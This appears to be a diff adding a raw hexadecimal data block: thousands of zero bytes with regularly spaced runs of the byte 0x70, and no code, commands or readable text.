+000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000707070707070 +707070707070707070707070707070707070707070707070707070707070707070707070000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000707070707070707070707070707070707070707070 +707070707070707070707070707070707070707070000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000707070707070707070707070707070707070707070707070707070707070707070707070 +707070707070000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000707070707070707070707070 +707070707070707070707070707070707070707070707070707070707070000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000707070707070707070707070707070707070707070707070707070 +707070707070707070707070707070000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000707070 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000707070707070707070707070707070707070 +707070707070707070707070707070707070707070707070000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000707070707070707070707070707070707070707070707070707070707070707070 +707070707070707070000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000707070707070707070 +707070707070707070707070707070707070707070707070707070707070707070000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 